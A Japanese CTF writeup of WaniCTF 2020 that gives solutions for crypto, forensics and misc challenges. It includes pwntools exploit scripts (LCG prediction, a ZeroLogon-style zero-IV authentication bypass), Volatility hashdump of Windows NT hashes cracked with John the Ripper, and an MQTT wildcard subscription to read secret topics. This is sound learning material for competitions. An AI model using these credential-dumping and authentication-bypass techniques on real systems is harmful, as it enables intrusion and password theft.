Satoooonの物置

CTFなどをしていない

WaniCTF 2020 Writeup

はじめに

WaniCTF 2020に参加して全ての問題を解き187人中3位でした。

出題された全ての問題について解法を載せていきます。

[Crypto Beginner] Veni, vidi

SYNT{fvzcyr_pynffvpny_pvcure}

という文字列が与えられます。タイトルから推測するにVigenere暗号でしょう。

dcode.fr で既知平文である「FLAG」を元に解読できます。

追記

ROT13だったらしいけど解けたのでヨシ!

FLAG{simple_classical_cipher}

[Crypto Easy] exclusive

key = "REDACTED"
flag = "FAKE{this_is_fake_flag}"

assert len(key) == len(flag) == 57
assert flag.startswith("FLAG{") and flag.endswith("}")
assert key[0:3] * 19 == key


def encrypt(s1, s2):
    assert len(s1) == len(s2)

    result = ""
    for c1, c2 in zip(s1, s2):
        result += chr(ord(c1) ^ ord(c2))
    return result


ciphertext = encrypt(flag, key)
print(ciphertext, end="")

プログラムと暗号化されたファイルoutput.txtが与えられます。

XORを使って暗号化してるようですが、よく条件を見てみるとkeyは3文字を9回繰り返した文字列であるようです。

フラグの先頭がFLAGであることがわかっているので、FLAとoutput.txtの先頭3文字でXORを取ればkeyが手に入ります。

>>> cipher = open("output.txt", "rb").read()
>>> key = bytes([ci ^ fi for ci, fi in zip(cipher[:3], b"FLA")]) * 19
>>> bytes([ci ^ fi for ci, fi in zip(cipher, key)])
b'FLAG{xor_c1ph3r_is_vulnera6le_70_kn0wn_plain7ext_@ttack!}'

[Crypto Normal] Basic RSA

netcatで指定されたポートに繋ぐとRSA暗号の暗号化方法、復号化方法を問われます。

wikipedia を見ながら手動で解きました。

-> nc rsa.wanictf.org 50000

:::::::..   .::::::.   :::.
;;;;``;;;; ;;;`    `   ;;`;;
 [[[,/[[[' '[==/[[[[, ,[[ '[[,
 $$$$$$c     '''    $c$$$cc$$$c
 888b "88bo,88b    dP 888   888,
 MMMM   "W"  "YMmMY"  YMM   ""`


+================================+
| Given : p, q (512-bit integer) |
| Find  : n = p*q                |
+================================+

p = 7243360162432688596605095627704613927101934452319549327332765720730244869135827061005182568237421939419463522904171481829018078808590300807153136440631159
q = 4858999306874381239611465714516370398880268087643086424774919350934294716639906199500463258105303753903349605439942210801612599821100659932470224334260931
[n?] > 35195482008701939400398475517502404839423680777840678659010448082090051740436430457134035269568846426804557917149884422209870169723554054262626655380543518783151979082325695365008584511181304263751224332203428760595068614001014894594311175064416654270278358330856178772031567955630715300739380325013434949029
[+] Correct! Proceed to the next challenge ->



+=======================================+
| Given : m ) Message                   |
|         e ) Public exponent           |
|         n ) p*q  (p, q 512-bit prime) |
| Find  : c = m**e (mod n)              |
+=======================================+

m = 194695434894748509411324836678520863620
e = 65537
n = 53806700340222492506293384308706328565689351703584937830558288855881812122829977171094000951064354047094797158178880737810884360066250081270133900391693772950533531067349644625014260177131497096666124285543496350577806219639882811729582217942633567892375414756232733891464346547897451550669624481137742610187
[c?] > 13433736438998877192096628383764860522492560625268286686562414257410235866785936100548848501139208366987073227858306014170899805674322509381439145906265435001811497324455860580013425568095815882302655929966547717755001827053798762117783663233438650279048165860793259737282055645409148431664771772257279608371
[+] Correct! Proceed to the final challenge!



+=====================================+
| Given :  p, q ) 512-bit primes      |
|          e    ) Public exponent     |
|          c    ) Encrypted message   |
|                 = m**e (mod p*q)    |
| Find  :  m    ) Message             |
+=====================================+

p = 11199361932385765828163352244055695502194582937336541388874070826976071382182277567923367067737303743734989475271479909851042875184773880158970309802736549
q = 11871456903289880253446258389985366333246241137336748411688781654243635982220537085613109595037534758351912874139775335159759348024910774079330842670850331
e = 65537
c = 127311914162840617314726530087732843264979162734469136032489000222971810603510539574035394280220873384369001229756899093013163370984970758520016325545270400665094826759495364479287951788222714452158669668157460270398032516296245897218392609274866861140951737683229884817155622479314062611936901204748443009809
[m?] > 83655593387164246451175125993236411700
[+] Correct! Here's your reward: FLAG{y0uv3_und3rst00d_t3xtb00k_RSA}

[Crypto Hard] LCG crack

import random
import os

from Crypto.Util.number import *

from const import flag, logo, description, menu


class RNG:
    def __init__(self, seed, a, b, m):
        self.a = a
        self.b = b
        self.m = m
        self.x = seed % m

    def next(self):
        self.x = (self.a * self.x + self.b) % self.m
        return self.x

def show_menu():
    print(menu)
    log(description)
    while not (choice := input("> ")) in "123":
        print("Invalid choice.")

    return int(choice)


if __name__ == "__main__":
    print(logo)
    seed = random.getrandbits(64)
    a = random.getrandbits(64)
    b = random.getrandbits(64)
    m = getPrime(64, os.urandom)
    rng = RNG(seed, a, b, m)

    while True:
        choice = show_menu()

        # Print
        if choice == 1:
            print(rng.next())

        # Guess
        elif choice == 2:
            for cnt in range(1, 11):
                print(f"[{cnt}/10] Guess the next number!")
                try:
                    guess = int(input("> "))
                except ValueError:
                    print("Please enter an integer\n\n\n")
                    continue
                if guess == rng.next():
                    print(f"Correct! ")
                    cnt += 1
                else:
                    print(f"Wrong... Try again!")
                    break
            else:
                print(f"Congratz!  {flag}")
                break

        # Exit
        else:
            print("Bye :)")
            break

プログラムが与えられます。乱数を10回当てられたらフラグが手に入るようです。

まずタイトルのLCGとは何か?と調べてみると線形合同法という疑似乱数が出てきました。

ちょうど kurenaif さんの動画に乱数予測の動画があったような...と調べてみるとドンピシャでした。

youtu.be

この動画を参考にしながらexploitを書きます。

from pwn import *
from math import gcd
io = remote("lcg.wanictf.org", 50001)
X = []
for i in range(7):
    io.sendlineafter(b"\n> ", "1")
    X.append(int(io.recvline().rstrip()))

Y = [X[i+1] - X[i] for i in range(len(X)-1)]
Z1 = Y[0] * Y[3] - Y[1] * Y[2]
Z2 = Y[1] * Y[4] - Y[2] * Y[3]
Z3 = Y[2] * Y[5] - Y[3] * Y[4]
M = gcd(Z1, gcd(Z2, Z3))
log.info(f"M: {M}")

A = (Y[1] * pow(Y[0], -1, M)) % M
log.info(f"A: {A}")
B = (X[1] - A * X[0]) % M
log.info(f"B: {B}")

io.sendlineafter(b"\n> ", "2")
current_X = X[-1]
for i in range(10):
    current_X = (A * current_X + B) % M
    log.info(f"next: {current_X}")
    print(io.recvuntil("\n> "))
    io.sendline(str(current_X))

io.interactive()
-> python3 solve.py
[+] Opening connection to lcg.wanictf.org on port 50001: Done
[*] M: 9708743383182831331
[*] A: 1432103539817711575
[*] B: 9324755147498827300
[*] next: 9597998430019619413
b'\x1b[34m - [1/10] Guess the next number!\x1b[0m\n> '
[*] next: 7334975414089673693
b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [2/10] Guess the next number!\x1b[0m\n> '
[*] next: 314060680188113301
b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [3/10] Guess the next number!\x1b[0m\n> '
[*] next: 305460980168365517
b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [4/10] Guess the next number!\x1b[0m\n> '
[*] next: 994021796179190613
b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [5/10] Guess the next number!\x1b[0m\n> '
[*] next: 7060484687390302682
b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [6/10] Guess the next number!\x1b[0m\n> '
[*] next: 5490402009832632113
b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [7/10] Guess the next number!\x1b[0m\n> '
[*] next: 8372529820657714077
b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [8/10] Guess the next number!\x1b[0m\n> '
[*] next: 7729156918968405460
b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [9/10] Guess the next number!\x1b[0m\n> '
[*] next: 4132871645318024012
b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [10/10] Guess the next number!\x1b[0m\n> '
[*] Switching to interactive mode
 - Correct!
Congratz!  FLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}

[Crypto VeryHard] l0g0n

from hashlib import pbkdf2_hmac
import os

from Crypto.Cipher import AES

from secret import flag, psk


class AES_CFB8:
    def __init__(self, key):
        self.block_size = 16
        self.cipher = AES.new(key, AES.MODE_ECB)

    def encrypt(self, plaintext: bytes, iv=bytes(16)):
        iv_plaintext = iv + plaintext
        ciphertext = bytearray()

        for i in range(len(plaintext)):
            X = self.cipher.encrypt(iv_plaintext[i : i + self.block_size])[0]
            Y = plaintext[i]
            ciphertext.append(X ^ Y)
        return bytes(ciphertext)


def key_derivation_function(x):
    dk = pbkdf2_hmac("sha256", x, os.urandom(16), 100000)
    return dk


def main():
    while True:
        client_challenge = input("Challenge (hex) > ")
        client_challenge = bytes.fromhex(client_challenge)

        server_challenge = os.urandom(8)
        print(f"Server challenge: {server_challenge.hex()}")

        session_key = key_derivation_function(psk + client_challenge + server_challenge)

        client_credential = input("Credential (hex) > ")
        client_credential = bytes.fromhex(client_credential)

        cipher = AES_CFB8(session_key)
        server_credential = cipher.encrypt(client_challenge)
        if client_credential == server_credential:
            print(f"OK! {flag}")
        else:
            print("Authentication Failed... 🥺")


if __name__ == "__main__":
    main()

client_challengeを投げてserver challengeの値を元にclient_credentialを投げ、serverと一致したらフラグが手に入るようです。

CryptoでAESというとPadding Oracle Attackくらいしか知らず、どうにかできないか結構悩みました。

その後眺めてみるとiv=bytes(16)という部分に目が行きました。ivが"\x00"で埋められている...?

そのワードで気が付きました。つい先日話題になった ZeroLogon です。

これもkurenaifさんが動画で解説してくださっていたため、それを参考にexploitを書きます。

youtu.be

from pwn import *
io = remote("l0g0n.wanictf.org", 50002)
for i in range(128):
    io.sendlineafter("Challenge (hex) > ", "00"*8)
    io.sendlineafter("Credential (hex) > ", "00"*8)
    print(i, io.recvline())
-> python3 solve.py
[+] Opening connection to l0g0n.wanictf.org on port 50002: Done
0 b'Authentication Failed... \xf0\x9f\xa5\xba\n'
1 b'Authentication Failed... \xf0\x9f\xa5\xba\n'
2 b'Authentication Failed... \xf0\x9f\xa5\xba\n'
3 b'Authentication Failed... \xf0\x9f\xa5\xba\n'
4 b'Authentication Failed... \xf0\x9f\xa5\xba\n'
...
92 b"OK! b'FLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}'\n"

kurenaifさんに感謝...!

[Forensics Beginner] logged_flag

keylog.txtが渡されます。以下抜粋

11:50:24 [F]
11:50:26 [Shift]
11:50:26 [L]
11:50:27 [Shift]
11:50:27 [A]
11:50:28 [Shift]
11:50:28 [G]
11:50:29 [Shift]
11:50:29 [[]
11:50:31 [K]
11:50:32 [3]
11:50:33 [Y]
11:50:35 [Shift]
11:50:35 [-]
11:50:36 [L]
11:50:36 [0]
11:50:37 [G]
11:50:38 [G]
11:50:38 [3]
11:50:38 [R]
11:50:41 [Shift]
11:50:41 [-]
11:50:41 [1]
11:50:42 [S]
11:50:43 [Shift]
11:50:43 [-]
11:50:44 [V]
11:50:45 [3]
11:50:47 [R]
11:50:47 [Y]
11:50:47 [Shift]
11:50:47 [-]
11:50:49 [D]
11:50:49 [4]
11:50:50 [N]
11:50:51 [G]
11:50:52 [3]
11:50:52 [R]
11:50:53 [0]
11:50:54 [U]
11:50:54 [S]
11:50:55 [Shift]
11:50:55 []]

日本語キーボードと英字キーボードの差異に気を付けて復元します。

FLAG{k3y_l0gg3r_1s_v3ry_d4ng3r0us}

[Forensics Easy] ALLIGATOR_01

メモリダンプが渡されます。問題文によるとevil.exeを実行した時刻がフラグになるようです。

メモリダンプといえばvolatility。まだ持っていなかったためインストールに四苦八苦して時間がかかりました。

メモリフォレンジックCTF「MemLabs」Lab1のWriteUp を参考にvolatilityを使っていきます。

まずどの環境のメモリダンプなのかを特定します。

-> vol.py -f ALLIGATOR.raw imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/c/Users/shinji/MyFiles/CTF/WaniCTF2020/ALLIGATOR.raw)
                      PAE type : PAE
                           DTB : 0x185000L
                          KDBG : 0x82754de8L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0x80b96000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2020-10-26 03:04:49 UTC+0000
     Image local date and time : 2020-10-25 20:04:49 -0700

Win7SP1x86_23418というプロファイルのようです。pstreeコマンドでプロセスの状態を確認します。

-> vol.py -f ALLIGATOR.raw --profile=Win7SP1x86_23418 pstree
Volatility Foundation Volatility Framework 2.6.1
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0x84a54ab0:csrss.exe                                 328    320      9    411 2020-10-26 19:00:23 UTC+0000
. 0x84aeab70:conhost.exe                              336    328      2     33 2020-10-26 03:00:28 UTC+0000
 0x843da208:wininit.exe                               364    320      3     77 2020-10-26 19:00:23 UTC+0000
. 0x84a5c7a8:services.exe                             460    364      6    211 2020-10-26 19:00:23 UTC+0000
.. 0x84aded20:svchost.exe                             768    460     20    455 2020-10-26 03:00:25 UTC+0000
... 0x84b2fd20:audiodg.exe                           1008    768      6    122 2020-10-26 03:00:25 UTC+0000
.. 0x84c5a9d8:svchost.exe                            1164    460     16    365 2020-10-26 03:00:26 UTC+0000
.. 0x84b35030:svchost.exe                            1040    460      7    135 2020-10-26 03:00:25 UTC+0000
.. 0x84b22030:svchost.exe                             920    460     16    344 2020-10-26 03:00:25 UTC+0000
.. 0x84abc030:VBoxService.ex                          660    460     12    116 2020-10-26 19:00:24 UTC+0000
.. 0x84f0d9c0:SearchIndexer.                         2332    460     11    688 2020-10-26 03:00:33 UTC+0000
... 0x83f211a8:SearchFilterHo                        2660   2332      5     99 2020-10-26 03:03:33 UTC+0000
... 0x84f32030:SearchProtocol                        2400   2332      6    279 2020-10-26 03:00:33 UTC+0000
.. 0x84e7f258:svchost.exe                            2052    460      5     92 2020-10-26 03:00:29 UTC+0000
.. 0x84b11710:svchost.exe                             880    460     18    414 2020-10-26 03:00:25 UTC+0000
... 0x84d05570:dwm.exe                               1544    880      3     68 2020-10-26 03:00:26 UTC+0000
... 0x84f49300:dwm.exe                               2948    880      3     72 2020-10-26 03:01:43 UTC+0000
.. 0x84ce78f0:taskhost.exe                           1444    460      8    163 2020-10-26 03:00:26 UTC+0000
.. 0x84d3d798:svchost.exe                            1628    460     12    216 2020-10-26 03:00:26 UTC+0000
.. 0x84aa0448:svchost.exe                             944    460     34    962 2020-10-26 03:00:25 UTC+0000
... 0x83ee7d20:wuauclt.exe                           2212    944      5     93 2020-10-26 03:03:31 UTC+0000
.. 0x84ac6810:svchost.exe                             712    460      8    276 2020-10-26 03:00:25 UTC+0000
.. 0x8493e578:svchost.exe                            3912    460     13    379 2020-10-26 03:02:30 UTC+0000
.. 0x84cad2c8:svchost.exe                            1340    460     18    309 2020-10-26 03:00:26 UTC+0000
.. 0x84a4bd20:taskhost.exe                           2884    460     10    250 2020-10-26 03:01:43 UTC+0000
.. 0x84aa58b8:svchost.exe                             596    460      9    354 2020-10-26 19:00:24 UTC+0000
... 0x84e6a910:WmiPrvSE.exe                          1108    596      7    161 2020-10-26 03:03:16 UTC+0000
... 0x83f3ac68:WmiPrvSE.exe                          3376    596      8    117 2020-10-26 03:04:27 UTC+0000
.. 0x84d14a80:svchost.exe                            1572    460     10    144 2020-10-26 03:00:26 UTC+0000
.. 0x84dbbd20:cygrunsrv.exe                          1840    460      6    101 2020-10-26 03:00:27 UTC+0000
... 0x84dc8030:cygrunsrv.exe                         1772   1840      0 ------ 2020-10-26 03:00:28 UTC+0000
.... 0x84aa1510:sshd.exe                              856   1772      4    100 2020-10-26 03:00:28 UTC+0000
.. 0x84e024e8:wlms.exe                               2024    460      4     46 2020-10-26 03:00:27 UTC+0000
.. 0x84d1d458:sppsvc.exe                             1908    460      4    146 2020-10-26 03:00:29 UTC+0000
.. 0x84c9e668:spoolsv.exe                            1300    460     13    294 2020-10-26 03:00:26 UTC+0000
. 0x84a89850:lsass.exe                                476    364      7    601 2020-10-26 19:00:23 UTC+0000
. 0x84a5f250:lsm.exe                                  484    364     10    170 2020-10-26 19:00:23 UTC+0000
 0x83d3ac58:System                                      4      0     82    541 2020-10-26 19:00:20 UTC+0000
. 0x84429020:smss.exe                                 252      4      2     32 2020-10-26 19:00:20 UTC+0000
 0x84435030:explorer.exe                             2964   2932     34   1091 2020-10-26 03:01:43 UTC+0000
. 0x84dd6b28:evil.exe                                3632   2964      1     21 2020-10-26 03:01:55 UTC+0000
. 0x84dd8030:VBoxTray.exe                            3108   2964     13    143 2020-10-26 03:01:43 UTC+0000
. 0x83f52d20:MRCv120.exe                             3740   2964     16    356 2020-10-26 03:04:32 UTC+0000
. 0x8494c030:cmd.exe                                 3728   2964      1     19 2020-10-26 03:02:09 UTC+0000
 0x849c0220:winlogon.exe                              408    356      3    110 2020-10-26 19:00:23 UTC+0000
 0x84a66030:csrss.exe                                 376    356      8    145 2020-10-26 19:00:23 UTC+0000
 0x84d12be0:explorer.exe                             1564   1532     18    644 2020-10-26 03:00:26 UTC+0000
. 0x84dc8a38:VBoxTray.exe                            1880   1564     12    142 2020-10-26 03:00:27 UTC+0000
 0x8448eb18:csrss.exe                                2676   2656      7    218 2020-10-26 03:01:39 UTC+0000
. 0x83eb8d20:conhost.exe                             3736   2676      2     53 2020-10-26 03:02:09 UTC+0000
 0x84a22710:winlogon.exe                             2700   2656      3    107 2020-10-26 03:01:39 UTC+0000

evil.exeが実行された時刻がわかりました。

FLAG{2020-10-26_03:01:55_UTC+0000}

[Forensics Normal] ALLIGATOR_02

問題文によるとコマンドプロンプトの実行履歴にフラグが書いてあるようです。

consolesコマンドを打って復元しましょう。

-> vol.py -f ALLIGATOR.raw --profile=Win7SP1x86_23418 consoles
Volatility Foundation Volatility Framework 2.6.1
**************************************************
ConsoleProcess: conhost.exe Pid: 336
Console: 0x4f81c0 CommandHistorySize: 50
HistoryBufferCount: 2 HistoryBufferMax: 4
OriginalTitle: C:\Program Files\OpenSSH\bin\cygrunsrv.exe
Title: C:\Program Files\OpenSSH\bin\cygrunsrv.exe
AttachedProcess: sshd.exe Pid: 856 Handle: 0x54
----
CommandHistory: 0xb0960 Application: sshd.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x54
----
CommandHistory: 0xb07f0 Application: cygrunsrv.exe Flags:
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x0
----
Screen 0xc6098 X:80 Y:300
Dump:

**************************************************
ConsoleProcess: conhost.exe Pid: 3736
Console: 0x4f81c0 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: Administrator: C:\Windows\system32\cmd.exe
AttachedProcess: cmd.exe Pid: 3728 Handle: 0x5c
----
CommandHistory: 0x350440 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 1 LastAdded: 0 LastDisplayed: 0
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5c
Cmd #0 at 0x3546d8: type C:\Users\ALLIGATOR\Desktop\flag.txt
----
Screen 0x3363b8 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\ALLIGATOR>type C:\Users\ALLIGATOR\Desktop\flag.txt
FLAG{y0u_4re_c0n50les_master}
C:\Users\ALLIGATOR>
FLAG{y0u_4re_c0n50les_master}

[Forensics Normal] chunk_eater

壊れたpngファイルが与えられます。radare2で調べてみます。

-> r2 -w eaten.png
[0x00000000]> px
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000000  8950 4e47 0d0a 1a0a 0000 000d 5741 4e49  .PNG........WANI
0x00000010  0000 0470 0000 04d0 0806 0000 009b 6ab2  ...p..........j.
0x00000020  3400 0000 0173 5247 4200 aece 1ce9 0000  4....sRGB.......
0x00000030  0004 6741 4d41 0000 b18f 0bfc 6105 0000  ..gAMA......a...
0x00000040  0009 7048 5973 0000 0ec4 0000 0ec4 0195  ..pHYs..........
0x00000050  2b0e 1b00 0000 1974 4558 7453 6f66 7477  +......tEXtSoftw
0x00000060  6172 6500 4164 6f62 6520 496d 6167 6552  are.Adobe ImageR
0x00000070  6561 6479 71c9 653c 0000 0324 6954 5874  eadyq.e<...$iTXt
0x00000080  584d 4c3a 636f 6d2e 6164 6f62 652e 786d  XML:com.adobe.xm
0x00000090  7000 0000 0000 3c3f 7870 6163 6b65 7420  p.....<?xpacket
0x000000a0  6265 6769 6e3d 22ef bbbf 2220 6964 3d22  begin="..." id="
0x000000b0  5735 4d30 4d70 4365 6869 487a 7265 537a  W5M0MpCehiHzreSz
0x000000c0  4e54 637a 6b63 3964 223f 3e20 3c78 3a78  NTczkc9d"?> <x:x
0x000000d0  6d70 6d65 7461 2078 6d6c 6e73 3a78 3d22  mpmeta xmlns:x="
0x000000e0  6164 6f62 653a 6e73 3a6d 6574 612f 2220  adobe:ns:meta/"
0x000000f0  783a 786d 7074 6b3d 2241 646f 6265 2058  x:xmptk="Adobe X

IHDRチャンクの部分がWANIに置き換えられているので直します。

[0x00000000]> w IHDR @ 0xc

まだ壊れてるようなので、他にもWANIがないか調べてみます。

[0x00000000]> / WANI
Searching 4 bytes in [0x0-0x22dc9]
hits: 4
0x000003ac hit0_0 .nd="r"?>lPWANIx^xTC.
0x00010008 hit0_1 .#O`wc WANIB4Pf6]hs.
0x00020008 hit0_2 ._0bXAw-WANI#ue5s..
0x00022dc1 hit0_3 .4WWANIB`.
[0x00000000]> px @ 0x000003ac - 16
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x0000039c  6e64 3d22 7222 3f3e b86c af91 0000 fc50  nd="r"?>.l.....P
0x000003ac  5741 4e49 785e ecdd 0578 54d7 b607 f07f  WANIx^...xT.....
0x000003bc  dcdd dd43 70d7 e256 a040 4bdd 6edd fdd6  ...Cp..V.@K.n...
0x000003cc  db5b 7777 77f7 960a 2db4 050a 85e2 ee41  .[www...-......A
0x000003dc  1288 bbbb bed9 87dd 5703 4a32 fb8c 9cf9  ........W.J2....
0x000003ec  ffbe 6fbe ecb5 d3fb 5e0b c9cc 39eb acbd  ..o.....^...9...
0x000003fc  9653 a709 8888 8888 8888 8888 c866 39cb  .S...........f9.
0x0000040c  af44 4444 4444 4444 4464 a398 c021 2222  .DDDDDDDDd...!""
0x0000041c  2222 2222 22b2 713c 4245 4444 440e a5b8  """"".q<BEDDD...
0x0000042c  a808 f9b9 b9da 57f1 2a2b 2dd5 be56 5654  ......W.*+-..VVT
0x0000043c  a0ba aa4a 7bd5 5457 a3b6 b616 4d8d 8d68  ...J{.TW....M..h
0x0000044c  6e6e 466d 4d0d 0e77 c9e4 eaea 0a6f 1f9f  nnFmM..w.....o..
0x0000045c  ff5f fbfa f921 2020 0001 8181 dacb 5fae  ._...!  ......_.
0x0000046c  8382 8210 1e19 89a8 e868 4498 be46 c7c6  .........hD..F..
0x0000047c  222c 3c5c fbdf 1011 1111 fd1b 2670 8888  ",<\........&p..
0x0000048c  88c8 505a 5b5b 91bd 6f1f f664 6622 6bef  ..PZ[[..o..df"k.

直前の4バイトから察するにIDATチャンクでしょう。IDATに置き換えます。

[0x00000000]> w IDAT @ 0x000003ac

この調子で残りの3つもIDATに置き換えると、正常な画像が得られます。

f:id:Satoooon1024:20201123200354p:plain

[Forensics Hard] ALLIGATOR_03

wani_secret.zipというフラグが入っているファイルが与えられます。

問題文によると、このzipのパスワードとパソコンのパスワードが同じであるそうです。

メモリダンプからhashdumpコマンドを使ってまずパスワードのハッシュを復元します。

-> vol.py -f ALLIGATOR.raw --profile=Win7SP1x86_23418 hashdump | tee hashs.txt
Volatility Foundation Volatility Framework 2.6.1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IEUser:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035:::
ALLIGATOR:1003:aad3b435b51404eeaad3b435b51404ee:5e7a211fee4f7249f9db23e4a07d7590:::

ハッシュが取れたらとりあえずJohn The Ripperに投げます。

-> john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashs.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
Remaining 1 password hash
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2020-11-23 14:10) 0g/s 18628Kp/s 18628Kc/s 18628KC/s  _ 09..*7¡Vamos!
Session completed
-> john --format=NT --show hashs.txt
Administrator:Passw0rd!:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IEUser:Passw0rd!:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
sshd::1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ALLIGATOR:ilovewani:1003:aad3b435b51404eeaad3b435b51404ee:5e7a211fee4f7249f9db23e4a07d7590:::

5 password hashes cracked, 1 left

ALLIGATORというユーザーのパスワードはilovewaniであるようです。これを使いzipを解凍しましょう。

-> unzip -P ilovewani wani_secret.zip
Archive:  wani_secret.zip
   creating: wani_secret/
  inflating: wani_secret/flag.txt
-> cat wani_secret/flag.txt
【正式名称】
大阪大学 公式マスコットキャラクター「ワニ博士」
【プロフィール】
名前:  ワニ博士(わにはかせ)
誕生日:        5 月 3 日
性別:  オス
出身地:        大阪府 豊中市 待兼山町
【性格】
温厚,好奇心旺盛,努力型,お茶目,社交的,たまに天然,賢い
【趣味】
・阪大キャンパスでコーヒーを飲みながら学生としゃべる
・粉もん屋めぐり
・化石集め。(いつか自分の仲間に会うために)
・CTF: FLAG{The_Machikane_Crocodylidae}
FLAG{The_Machikane_Crocodylidae}

[Forensics VeryHard] zero_size_png

名前の通りサイズが0 x 0のPNGファイルが与えられます。

IHDRチャンク内のサイズを書き替えて画像を表示させることはできますが、元のサイズを知らないためズレが激しく復元できません。

ではどうしたかというと、†手動二分探索†を行います(は?)

適当に0x50区切りで横幅を変更していたら0x250だとズレが少ないことに気付いたのであとは適当に二分探索しながらズレを補正していきます。

すると0x257でピッタリになるので、あとは高さを適当に高くすれば画像が得られます。

f:id:Satoooon1024:20201123200435p:plain

ゴリラ解法、最高!w

追記

想定解はCRCを使って求めるようです。CRCは前に少し調べて難しそうなので投げたんですよね、本当に申し訳ない...

[Misc Beginner] Find a Number

import random

flag = b"FAKE{this_is_a_fake_flag}"


def main():
    number = random.randint(0, 500000)
    print("find a number")
    for i in range(20):
        print("challenge", i)
        client_challenge = int(input("input:"))
        if client_challenge == number:
            print("correct!!!")
            print(flag)
            exit()
        elif client_challenge < number:
            print("too small")
            print("try again!")
        else:
            print("too big")
            print("try again!")
    print("You've failed too many times")


if __name__ == "__main__":
    main()

数当てゲームといえば二分探索、二分探索といえば数当てゲーム。

from pwn import *

io = remote("number.wanictf.org",60000)

def is_ok(mid):
    io.sendlineafter("input:", str(mid))
    result = io.recvline()
    print(mid, result)
    if result == b"too small\n":
        return False
    elif result == b"too big\n":
        return True
    elif result == b"correct!!!\n":
        io.interactive()


def bisect(ng, ok):
    while (abs(ok - ng) > 1):
        mid = (ok + ng) // 2
        print(ng, ok, mid)
        if is_ok(mid):
            ok = mid
        else:
            ng = mid
    return ok

bisect(-1, 500001)
-> python3 solve.py
[+] Opening connection to number.wanictf.org on port 60000: Done
250000 b'too big\n'
124999 b'too big\n'
62499 b'too small\n'
93749 b'too big\n'
78124 b'too small\n'
85936 b'too big\n'
82030 b'too small\n'
83983 b'too big\n'
83006 b'too big\n'
82518 b'too small\n'
82762 b'too big\n'
82640 b'too big\n'
82579 b'too big\n'
82548 b'too big\n'
82533 b'too small\n'
82540 b'too big\n'
82536 b'too small\n'
82538 b'correct!!!\n'
[*] Switching to interactive mode
FLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}
FLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}

[Misc Normal] MQTT Challenge

MQTTプロトコルをテストできるWebサイトが与えられます。トピックをこちらから指定することができ、トピックから定期的に何かを受信するような形です。

問題文によると秘密のトピックというものがあり、それがフラグを配信しているようです。

「MQTT CTF」で調べると Writeup が見つかります。

これによるとMQTTでは#がワイルドカードに使えるようなので、トピックを#に変更するとフラグを受信することができます。

topic:nkt/test, message:"Hello! FROM:wani_user TIME:2020-11-23 14:29:58"
topic:nkt/hoge, message:"hogehoge!? FROM:wani_teacher TIME:2020-11-23 14:30:01"
topic:nkt/huga, message:"hugahuga! FROM:wani_student TIME:2020-11-23 14:30:04"
topic:flag, message:"FAKE{fake_flag_flog} 2020-11-23 14:30:07"
topic:nkt/wani, message:"WaniCTF MQTT Challenge! TIME: 2020-11-23 14:30:10"
topic:nkt/flag, message:"FAKE{fake_hoge_huga} TIME:2020-11-23 14:30:13"
topic:top/secret/himitu/daiji/mitara/dame/zettai/flag, message:"FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23} TIME:2020-11-23 14:30:16"
FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23}

[PWN Beginner] netcat

netcatで繋ぐだけです。

-> nc netcat.wanictf.org 9001
congratulation!
ls
chall
